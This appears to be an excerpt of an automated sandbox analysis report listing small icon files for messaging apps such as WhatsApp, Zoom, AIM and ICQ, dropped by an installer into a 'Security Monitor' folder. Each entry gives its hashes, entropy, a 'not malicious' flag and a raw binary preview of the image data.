Preview:	.PNG........IHDR................a....IDATx..ML.Q....m....D..('...P...r.r1...1....... .^.b.1.?b...#z....&~..L(zP..F..nK..^.....L...7.....C.....y...;m!...!c.e...dUhf....&.^K.Ce.f.V........M..@a..R.k..&.....l:..E..W.H.0.....\8+LC..2..r....!........G18..\g...r...ca:!5....\)N.......77PVaF......q...p.....`..sI)....%.E.z.`.]...(5.?O.^.%....X...kLRz<.<.......jO...@..F\jP.g.....W...\.H.......:..:...l.&H....L.x7....-:JQ...{..e=..p..(..?.....R.P.8j.T.6....t..f.VC)\|..3.g8..q..%.kn....#S...........e.....r4_g()g....ER..?d..+i...Nc3U.B....)...#...q...j...g..U..0)P.S1VQ..R....q..t..C..$5R....~Y...Be.....Y@j.....J...X. .y...6z..B...p.J.y...a..b...)....fb.t..7.@.6&...m..>/j........Z.......(f.U.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\WhatsApp.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1342
Entropy (8bit):	4.6359350276939795
Encrypted:	false
SSDEEP:	24:dji7RcfMBrFZ4SJP/eM3Oa6xkbHITYphkt:djUcfsr1xG9Ypmt
MD5:	DA65CA13005C823DFDB8A02C0F534EA1
SHA1:	555B00EAB24107ED4B1E86A30E634DED6A3B172C
SHA-256:	73A10CE1010DDF27AD68552766FD5803E9DDAFB7ACE123822E6EB2FD69954D9A
SHA-512:	576FC82838F477AB1806433240C1508184C1E00B5365A2F5719A3FA53DEFD4AE71A6ED5A262F5D174AAF089F46F677332D270C154AC6185E8616DF1D0E53BC17
Malicious:	false
Reputation:	unknown
Preview:	............ .(.......(....... ..... ........................................E...D...........................?.............................................d...~...............................\....M...d.>...m.G...C...C...C...C...F.....{...........................o.C...C...C...C...C...B...B...B...B...o.N................<........C...C...C...B...F.....e.......b.@.B.....\|........?........G...C...C...B...j.J.....................B...F.................C...C...B...n.P.........k.K..........n.B...C.................C...B...T.-.........F...B...C...C...B...C...C.................C...B..........`.=.B...C...C...C...C...C...C................C...A..............B...C...C...C...C...C...C.................H...B.............h.B...C...C...C...C...C...F..............1.......B...i.H....E...C...C...C...C...C...C.....\|........>...........x.Z.B...B...C...C...C...C...C...C...v.V................................J...C...C...C...C...H...........................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\WhatsApp.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	830
Entropy (8bit):	7.743747035981289
Encrypted:	false
SSDEEP:	12:6v/7MppO0bioeoVRws0LZivpCt1BIwB2QG9Qs1Vzaok9cz7A1oLVDiDkaBx9q8rS:hg0OX6wVduQywAQG9vSkEQiDY5aA7
MD5:	EB5BFEE784207B0EED0CB53FB3CF7509
SHA1:	519EEA88024FE4ABBA292A5097D879D42EEFC813
SHA-256:	450B1779BBDB391E340B1A142C0F2AB89836F6E7BDEAA864F9D660059129F13E
SHA-512:	0404FF8FFCDB1F8A1935837883102FF113EC3E18E550544F7B33D8554D8DFE4EEAF3590A88E9C62A02AFCCDA0946E17BDF2700FD85CF84E912CDDDF09CB883E9
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.u.iHTQ......q2...f"K3...2.6[....5d......J..PadHE.m..mS9QD.E..Q.eaD..c.Fn.::.{...YM....{~...._.?..".Yqo...i&9,..W.ie..2....,x=.J.mR....sV...=w.\.....5.0'r...p...A.<.u.....j..~:...u..w...~Sf..Xc..a9../..<.1.....ks....9.7..Uf.D0....H......B...IR6.\$s..%.2.\|:.)!..[..0.....o......f.6....'Ud.(..x.#.c...v8..'......]....0.".T.Zn.>..}_......@...QP{.B....G..";&...&v}<.bj.....6a.m.f<.E......[....b.1./.....H.M9..Z........%q......bs......\|..%.z.wcp.Y.$.I......oJ.m......[s.'[...:..N[....\|.r...$.b......L7.B..M.n...jx.q!.2.!...I.^.!...6..>*.9.=..~Y.....L.dd..F~.8Pw..J-.mY.(~.c......7..W.f'.n.q1.D}..J...1....Re..t.,........A.g.Gy..x...\|.+c..+.2......f.....{.ui=.....@U...;...U.........Jz....o"...e...J.x.im..{...!.......O@s.O....0X.7f'K.g8......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Zoom.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.106456125169888
Encrypted:	false
SSDEEP:	24:nEPSZPkAOaXJtA62XWFFFFpkne+FqQ/9tTb:nEiVrJth2mFFFF2B/zTb
MD5:	BBE192389A8CA57807477962B401ACF4
SHA1:	C83E12B14231768D76436CCF919B52D7017801AF
SHA-256:	D546F20D90D384C9A3AF269B16D2C3B06E0500B43668DECA44E7BD50AA525037
SHA-512:	53B9B4EB7E2B1D598AD360B376090AF6A7EC7A4E83D44932E08E8A9D1545BA3BBA9AC7B29B0E2A52F2F02524D79D8A0070FA77D24D2398BD377A975B85B92B74
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ...............................=...=...=:..=v..<...<...<...<...<...<...<v..=:..=...=.......?...?...>...>...>...>...>...>...>...>...>...>...>...>...?...>...A...@...?...?...?...?...?...?...?...?...?...?...?...?...@...A...B:..A...A...A...A...A...A...A...A...A...A...A...A...A...A...B:..Cu..C...C...B...A...A...A...A...A...A...C...A...A...C...C...Cu..E...E...D...S.......................L...g...s...D...E...E...G...G...D..........................................E...G...G...H...H...G.........................................G...H...H...J...J...I.........................................I...J...J...L...L...K.........................................K...L...L...N...N...L...}..................v...L...p...{...M...N...N...Ou..O...O...N...N...N...N...N...M...N...O...N...N...O...O...Ou..Q:..Q...Q...Q...Q...Q...Q...Q...Q...Q...Q...Q...Q...Q...Q...Q:..Q...S...S...S...S...S...S...S...S...S...S...S...S...S...S...Q...T...T...T...U...U...U...U...U...U...U...

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Zoom.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	542
Entropy (8bit):	7.521572092864423
Encrypted:	false
SSDEEP:	12:6v/7VDZbIJn0vRHCeQgHr8zLKMqUuwmUL27QyFY7:xN0vRHCej+m2bR27QyF6
MD5:	686CF19C035D7BB3523CF7FDF3F39F13
SHA1:	862BDC58F8EB03A07C866566FFCFA7228987899C
SHA-256:	3FDF0CE404773A9703AC716DCA370D349A630E7A2098BE497D0C472CAE80C38B
SHA-512:	7F8EF9F4D6D8AE5E6DAE76DDA7C8B389C3EC1DFE022FDA23790731272EEE7AD209CCD5890D3142B1C7F57D557A1A27202534A3085AD3A734071A898F1E0B6512
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.SMHTa.=w.....!...6-"B..MRB.Q.\.."..U..U.....F:3..X.M..G.t!..KI.T...w;..~.1......~..'...W..K..."n.W.q.....1........tB.G..........\.VE..E...q''.B/.D...\..j.#'~...T-G.c...(..&.DZ.N.+GT.o...~.s..(..g..K..."...t..60..X...fv....~.F.).....H...nv..)...y.`~U......4.....0.]5..l..+..eT7.C....$..u:A...d.....`..%..../.......dh-..?..&.....(....O.)u......$..a.^..A..."Dwk_1...U ...,.i..A.T....3D..._.Z...l$1..p.....A+_l..`.=R..d6.T...K..OSL..f..nu_...g...S.3.L....r........g.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\aim.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	6.511795576297305
Encrypted:	false
SSDEEP:	12:ON6zzzzzKMSSSSSMa5HVyx7UmImSoH2bnDIjPNNJOtDrc53VrVOt/bQt8wQHz/HC:OD5H4lUbJfUIQ4lQ4j+HPKoCP652q
MD5:	9A89DE631D87C981A0AF3C07FD4AF610
SHA1:	6A5EE66ADA6C57C1FB8B142514DEE3272FF21605
SHA-256:	5E9C12BB009E1DB9568B273B53EBCA3500C3E6D113961729ADF98012FEE299B8
SHA-512:	B3F9BB8803CEAE7E33611BDED0C236C0A14DC6DE730A15910BD80ED15D1CF63BF8A83449E4EB83F593F9FC82C7E4C775AD799A206D3EEC93F8EA99B3746D005F
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .................................\|~..\|..1\|..2\|..2\|..2\|..2\|..2\|..2\|..2\|..2\|~. }.................BI..{..#..."..."..."..."..."..."..."...#... ....AcY[c.Y[c......-...>.. @.. @.. @.. @.. @.. @.. @.. @.. @...?...(..Z]n-Z]n-...-$B..#D..#D.."C..!C.."C..!B.."C.. A..!B..#D..#D...<.._g.M_g.M.../(G..#F.."E..?]..........Ur..<[......]x..$G..#F...A..bl.Obl.O.../(I.."G..,O..............................2T.."G...C..bm.Obm.O.../(K.. H..Qn..........Kh..............<^..#J..#J...E..bn.Obn.O.../(M...I..g.......k....G..$L..........3Z.."K..#L...G..bn.Obn.O.../'P...L..`~......g....L...L..........Qv...M.."O...J..bo.Obo.O.../'R.. P..Bh..........!Q...N..^}......Z}...O.."Q...L..bp.Obp.O.../'T.."T..%T..........r...*[..-[..Ot..h...9g..!S...N..bq.Obq.O.../'V.."V.. U..@i..........................6f..!U...P..bq.Obq.O...-'Y.."Y.."Y.. W..=h..................\...!X.."Y...S..br.Lbr.L...."P..!].."\.."\.. [..!Y..-a..3e..(_.. Z.."\.."]...M..^g~(^g~(....+N.B,_..)^..)^..)^..)_..(^..(^..)^..)^

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\aim.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	786
Entropy (8bit):	7.667079474837334
Encrypted:	false
SSDEEP:	12:6v/7auxjxCwxayWi4r6JPSKu0G1dEnJrZkTAilExOZgaMGQC23gdHtCDswPoLrQJ:Yhgwu6JaPE8aK8GMZPPo3FlEpb6K
MD5:	60B69382DCB4792F0853815F1C3DC793
SHA1:	EF08278795D17F21D3BDE98A44CB5247E18FB6E3
SHA-256:	884887A5D27E4B1F683CF9BA3549797E9F2ACD7763144839CF690C87E38D348A
SHA-512:	115E4BC5A59F02C9F8B72541F256EE683A7FB2DF2F16C560894B83AF2141659553937FAE4FC0246561F7EAFB8E921A1A081F3BEA89825A32BABF96AF00880663
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.}._H.A......uzu.^d...bV..b.).I.$.P.BP.a)......4..FT.=DXf.Y..f.QV...%!5M.<.\..L....P......33...A.y.z...,"...a....5.f.V....W.3\.vRce..H..c.:F.P2..W..,.v'.....an=zo}....H..J.Tk,`..$.aV$@.`.!.>.c...p..i{........(E..!...u90.b....}t.d....L.j.3..4..>}...re..D.W.:.a.!7.V..}{.:1.b.A.>.x.lr..E.y.......\2..&..:8rw@.Q..E..1.LEL....[....X....9p..tF..S.P...........)+...OCm9...?.`...<+...8.N..F...[ ......='..p.9...P........Ua@....1.>...>.(+L.M..HC.X)...H.......h.&.j..$......\|..A.r......w...!..C......0..k#..,R...7,9..............^...'A.>L.<..;.p.,......1..%.bb!?{.mt.....>{....E..dD.W..eZ....9)f....3..W..+Q.......p....v7.C...E...h.a..7}....Q..ME..n.+).p.U..7.%......46..'.S.J........h%.......H...!C'j.4}.7.3[\|h.nQ....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\google talk.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.739434322498255
Encrypted:	false
SSDEEP:	12:iStQidpNKcrw3FGbVzh8MgzemLqu+kqkng6dPEAaRAdViNSOC09YzmLk:i4xuNYBzh8MkeZLRkng6q/RWmSDKYzR
MD5:	5782C8F6C70B8E884FCB822EEF286EBE
SHA1:	66776EDD49D55F0F440FD5DCCF38FC27147076C2
SHA-256:	C067BD4E1DDB1EDA87201D7BA65BEB416C56A9ED486D17454148E9A013A6BD32
SHA-512:	70366DDABF05D4A60C6AE09266A4911CE61268DE7C3E83292A627344AC048A1510F46B48A566790B986AB1264E3FF38FBCC552A3E60A9249D7F1D12E44657CBD
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .....................................................................................................................................................................),).....)().)()R....................................................),)JJMJ.kmk.)().989.................................................!$!.\Y\...101.kmk.....................................! !B!$!.)().wxw.........sqs.kik.RUR{9<9!................)()!!$!.RQR.................................cec.BEB.989.....),).)()................................................989.9<9.!$!.................................................xzx.{y{.)().),).........................................................)().101.........................................................)().),).........................................................!$!.)()ckmk.................................................JIJ.)()J....),).............................................ZYZ.)()s............101{Z]Z...........................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\google talk.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	586
Entropy (8bit):	7.630848437869861
Encrypted:	false
SSDEEP:	12:6v/7czkgzR/pOsg/sx7MiqeJACAHDTOipuwsOmA8PJO/Y7:xQgzRBX6e7nmC+puF9U/Y7
MD5:	FA83ECDD6AFBEFE0DD30A620574872DE
SHA1:	8B3299A9244809F9541BFFB7A1CCD8D58AB53EB0
SHA-256:	9AEA100DC1DCFA58A542BD9294F67B454CFD8669CC199F6C43ECD9A4C3E99E1D
SHA-512:	202937104E00E187A4CCB1D3D2352F19E1966E71DF015D1E5E529B3C148D4A91FCFF18C0D0A08CB23660962BEC06417D1EABD47D0F48A07A5DB22DFC4EB6048D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.RAk.`.~c;.U..x..._P0..).t./....":$.......2iuu......O...VH.A>..^..S.....l...H...........}... ....II.E..".$ID....`_X.5.e..q.....q..@RK.U..=..MUT^..!..!hC..X.^....v..RG..j..).&.q.0.oM....Ah..w.....PJgj.....U...^..?.a`......3_..]..)..{9.......P\).z...t.-......pB..Z.QZ).........>...O..C.....%.....O.>q.4....kS...{..... ..Ks.....v.N.....H.<.kb.;....U0f.G..J.._.......?.......q?..-...U....[3v....&.D.Q5.G...IY..7?o...C..,..%*.e.=..~.g.......D.X.Q..]........`+..W.J.^..y.Wm.._..,5....1.sXU.o..<._.....J..Wa.g7....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\icq.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	6.401447563259091
Encrypted:	false
SSDEEP:	24:GxwtVB49rxl+FrnlMxh8M2J382e416LZYuegYtTn2H:YwjBoxlyDlMxj2J3SC6uSuT2H
MD5:	54C24D9A4A0FECA1E1732A2A800FAC29
SHA1:	D089A770D1565011BF54CFF7DCD29885F5595340
SHA-256:	3BD7E6C88BC3E06CF51817BBCB9CE14895D22A71E96E571F108110A33273FF59
SHA-512:	B07A8DE23A7D69413BA31E7ADC81B9F0200D58F7F247F78E5453ABAF737FBAE35D60801E3A33AA2F62C27AEABC2F669CA38198111140BE989E2DD315F651BB56
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................#p-...0......E.........+...A.................................4.l...................z......%..J...............................5.v...... ...1......`.........................................6...]....-.R.K.u.5.H.#.6.=.j.,.L..m...".. f%.$S(.........)+A.:<..!....0I.1.?.`..1.A.+.C.f..9.V..W..............)f+.....12...............4g......\...p...9..z'...)...1...+..... .#.....$$M.&...F?..E?..&....@g......~...^....9.8.i.3.f...H.....'.%........m'><.2=..><..,.................~.#\|!.@.R.?.R...1..g..DT;T..s..!..............w..D...........".a..............v...5......$q#.'.;...)...".........!v%.[.{.C.i...............'.......'..?..5u4.U.m...W...5... ..\|.......\|...........r........>...I.O.c.'x&.\fQ6H.Q.4.U..s..l#...'...............!...!..g"...2.;.d.I.Z.TpKPaeU.XYK./($!.'.u..5...;...6..{"...&...;...:...-..7..),#.YaN.giZ.bhV.>C6......Z'.G.t...E...=..["...3...9...<.L.x."z1.....02.X^N.\bQ.KPA.HK>.F_BLY.q.m.../.N..&.^..>.Y.....

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\icq.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1001
Entropy (8bit):	7.758725240902144
Encrypted:	false
SSDEEP:	24:PLiyUaMQzTd2JxkVLDF0b5YPQfmCmGnX49:DFKmR6kVne5YPxCmEa
MD5:	5B29258244BCAD93923044B9CA6349A1
SHA1:	CC6CC6ABE4420DFA97552F5A1FF0DACA652AACE6
SHA-256:	A7D4C1C8C6FCEC92068D60D0DEFBAA38EA75010D01EA753FC913749CC89E8FDF
SHA-512:	AA8345E54E397D1AECE33F8CBE66B12AAB5F373109C787DE7C8C23BB0949A2B184CC1FB2E08CFA66F7374ABFD26EAA21D85857C74B67AEE31590A197971AF15C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.MS{L[u.=.{o.K{)miy..<G......sF.#..d..;F.#S.-:53.ht31n..BLD.0..9E.3,u.s!.2....W_./.....k.h8._.9...\|.s.7(..!..D..&.g..m.9..D.......-..r..#....!.N.V.+U..tu#".!K2..........db\|"}.?.[s\>....x.....1....T.......z....;......lgv.4.\...\|~,...{....Mk........s...&To..y...H..........l.}m.h).....l.`k...@.O.....6$.N8[...k\"...m.'8....o....i..<......X.HM..Z.H..4R&..P.:k.7..?.zH.....9v.u.`..E..\|Dy...UP3Z.5)..).~5.."..H....v...>..H.......f!u.iEF@.M..k..]......NM".1.K.....,....0(}Dl.%...D.D@"...hp^.C[.g.c@$..w_.K...B.&u`\|..\|..66.>@(...r.......`t......#....i...J..,.....T....oN.V...%.......H.n.v.%...i/.4D..)....w<".=...+ +.......Xw."....\|...s.%..#/g5...8..@...l...........[.E&.`%...w......t.U....w99Z...A...F.v.:(M.O<..W..{x!.z4..)p.<.G..Z.X..A...tu........n.n...9.hy..>...~o....i....1.....O...ZK......&.f=...SW../`\M.......".Yds.R..:.CY...~+srI.@...E.?f...W...aI..,\Xyy.........u..G...{...D.P.....X-...k.b..D.Y^.........1....IEND.B`

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-0792H.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	306
Entropy (8bit):	6.791105413587409
Encrypted:	false
SSDEEP:	6:6v/lhPt+HkIXaZ6t6p1+yMqZZQZX08sIfahdKry9Ral0GykkCmgpF6PF2fp:6v/7PIXaZuC+y5Qe8T+NA0lk9pw2x
MD5:	B61B5003FBBE118F371C4AD42F4EF520
SHA1:	CA09B93D1185476243A5A6C91F72DE328E291F1B
SHA-256:	A5535A95335D1898EE2496AA99725F4BD62B229A1AF776F6B237CAA553AF539F
SHA-512:	D3CF0B4E5B2CEA3ECF3C88460B8D566F01C0F50F597D1ABFD0D5D42B0EBB749435BF89976BCCE1B89C19E22D1EBE574FA2DA93DA7D568B0B8D8CBAB0C7281191
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.cd...._....@...:........1.1`?.f.8p...@...o.g..l.n?b........{..i..<....AWW.....E.d..."..7[..\.0..l..5...}B...7...p.l..Dl.......@....0........p..l.z8.W...\|..LH...fx.r.6.&`$es.LP..@.WRudPRqd....{................:..U.Dd.LL..^..d.!.h.....A.....n>7......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-2Q0P0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	486
Entropy (8bit):	7.403940932243279
Encrypted:	false
SSDEEP:	12:6v/7H2DBCOIXU00QhP+CCTV44lVCcK8ajSR64+eg:C2MXURCCTCXcK8286Heg
MD5:	49CBAB461388899937D45CE5F40FEA6F
SHA1:	4333CFB198B2F8078D38159AE6F37CF2056AC6A9
SHA-256:	30DBAE48834681F6F8E6A6867B5A83582DFBCA8E61C51C8A189687055F1A9042
SHA-512:	5A0C295DC41860B4F650D82B43EFBB4F7369A7DCC6844F8837DA8708F531A4D4C17749152536219492ABAA5667FFC63C0547AB2BD257068CF9BCDD9C47492595
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..?K.P...3..?C.qi.T.E...,Up..kgg...b.......A.....8..."h...DDA.1...XJmKz..<...wo.... ....M..V.....o.2Q..e.#<`....E..l.....Y......m#..4...Fb2..D..Q7).K...b.i.....y...9`..^._Gv...a..T.j......1..D[.[...!}`.%....5........k...Y.....!z.u....\2!2....1 .H-.P\I)!......2B.!.[......`+....].F.1....F.I...(/..>}?.....v....w.C6C.H...E..w.v.S.q....?I...a......l<#~.....U....U.^.Q.( ~.G.thG/.....,R.).U.K?9.u........g...L_..wt../.....2.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-3VJA0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.042561065627236
Encrypted:	false
SSDEEP:	12:Fw3//////oXgAo////////go/P/wK/////YTQRY9K///pLKe//v7WVh5y//ze2JW:7BQC9BDRClcc3TIVBw0CC/6upx8y/V
MD5:	58BB5428EE336A048C0EAEDD11B08CBE
SHA1:	E40B41DCE19B4CEE84943905ACC31F0B624A22DC
SHA-256:	619AB6CC1EB6D48676BA555BFEC94798B8E043052967FAD42356E9D8BFCD08D9
SHA-512:	1424FE21796F05B1BB963F857BE61BD805775BC5F56B1A5ADBA8372057AEAFE01ED559EE9F29212BB74D9A1BF90F4F44DCC27AE09D1A02A674094BF8D7FA2045
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .............................................................................................................................../............../......................................................./.............._.............................................._................/...........................................................................................O...........`...P...........o...........................0...... .........O...................0...................."...a..............p......................................................................./....+..1...q..............X..1..1..1..1..(............(...H...H.............H...H..........j...H................Z...`...`...j...........................s...M................p...w...w...w.........................`......`.............P...............\|.........s...

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-4E6MA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1342
Entropy (8bit):	4.6359350276939795
Encrypted:	false
SSDEEP:	24:dji7RcfMBrFZ4SJP/eM3Oa6xkbHITYphkt:djUcfsr1xG9Ypmt
MD5:	DA65CA13005C823DFDB8A02C0F534EA1
SHA1:	555B00EAB24107ED4B1E86A30E634DED6A3B172C
SHA-256:	73A10CE1010DDF27AD68552766FD5803E9DDAFB7ACE123822E6EB2FD69954D9A
SHA-512:	576FC82838F477AB1806433240C1508184C1E00B5365A2F5719A3FA53DEFD4AE71A6ED5A262F5D174AAF089F46F677332D270C154AC6185E8616DF1D0E53BC17
Malicious:	false
Reputation:	unknown
Preview:	............ .(.......(....... ..... ........................................E...D...........................?.............................................d...~...............................\....M...d.>...m.G...C...C...C...C...F.....{...........................o.C...C...C...C...C...B...B...B...B...o.N................<........C...C...C...B...F.....e.......b.@.B.....\|........?........G...C...C...B...j.J.....................B...F.................C...C...B...n.P.........k.K..........n.B...C.................C...B...T.-.........F...B...C...C...B...C...C.................C...B..........`.=.B...C...C...C...C...C...C................C...A..............B...C...C...C...C...C...C.................H...B.............h.B...C...C...C...C...C...F..............1.......B...i.H....E...C...C...C...C...C...C.....\|........>...........x.Z.B...B...C...C...C...C...C...C...v.V................................J...C...C...C...C...H...........................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-4UKF4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	842
Entropy (8bit):	7.696472050125109
Encrypted:	false
SSDEEP:	12:6v/7MV8c2Qwrnehd6jw2pCreHWZJl2TKpwsC/eYvbojK1YOfjypI2Sc6jisxYw3Y:ycajeH61peeHauKVOFvbp7gb65Xm1
MD5:	27858239558F8642F02A7770829F8325
SHA1:	13BA5FC4427044C1343D62F4F9D552C6C62B18B6
SHA-256:	C470C09448A1BFBDD59F53A6E4C563E9584FF8CA083895A4887ABBAA39EDB823
SHA-512:	4E0A4AC0E33EA15BC546D56D552A3C1A8995DF8D319418D6E6CA066FC25CA8EB9E9A77F1373D4A7236BE1F5B0FE0DFEE9D62F3F559CFE3C0B2311FC0C830EA45
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.mSkHSa.~..9..Q.$.NQ1.2... Z.)+.H.4..K.R.......`..y..BfXV:..vQ,.()4..l.R......:.cf..9..{..y..y..\|....B....E"Q.{a4....wuu.0G.g1...T.WUU....f..Az..\.Z........u.'.QQQq....A ...q.0`.......A.W$.;.?R...fP.T..~...`........ ..M..x8kG.?.......' ',.c......dF.g..{zzZ#.H.[r'.P.XG....L......AGq+J.n.i.%444.`.....1nq.......+...\.....MS.@........\|.><.....DOOO^bbb.+......u...0..../..>....&~..@......G......-].]h`.^vl.,d.....p...1(.O.M?........M.`ll......).X\..^'._!\|...\.....x...?.........GGG....yIIIu..X....X$.....@.....%8..F.,.).....:7...q.m...-..).-..v.Ap...\.mx.M......7.P(..5.t.zf.......R......i.....^~.n....5222.3..T[[....=[./`..0=....6~..?,.<I&X......X.n+...%...hX+..V..>...2C.c.4..(...s.Z.....s[y..Q"-))).........'L..3....i[.e2YHVVV.g.....i...q....N...W....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-54RJK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	1.0136328376606665
Encrypted:	false
SSDEEP:	12:A555L5rr5r5r5r5Lr5L5r5L5L5555555L5556DGkD7GPMg:CiGEg
MD5:	D71543D4396E09496F7724F2EB51819D
SHA1:	8C60CABA094161202D8FCBF5E787E83E586A73D5
SHA-256:	52440F7AC22968C6FB7AB07ECB382F8F047B4EB3989843BF5F396B965F2BECFE
SHA-512:	1A6A95B7FDD731F6CFB55F62DB567DD4EC162872081B8B19DF9BDE1530765FB4ED683959B43E73C1E222389EFEA7554401188B4AE0D65ED3BAE4CD124C21A982
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-66N62.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.106456125169888
Encrypted:	false
SSDEEP:	24:nEPSZPkAOaXJtA62XWFFFFpkne+FqQ/9tTb:nEiVrJth2mFFFF2B/zTb
MD5:	BBE192389A8CA57807477962B401ACF4
SHA1:	C83E12B14231768D76436CCF919B52D7017801AF
SHA-256:	D546F20D90D384C9A3AF269B16D2C3B06E0500B43668DECA44E7BD50AA525037
SHA-512:	53B9B4EB7E2B1D598AD360B376090AF6A7EC7A4E83D44932E08E8A9D1545BA3BBA9AC7B29B0E2A52F2F02524D79D8A0070FA77D24D2398BD377A975B85B92B74
Malicious:	false
Reputation:	unknown
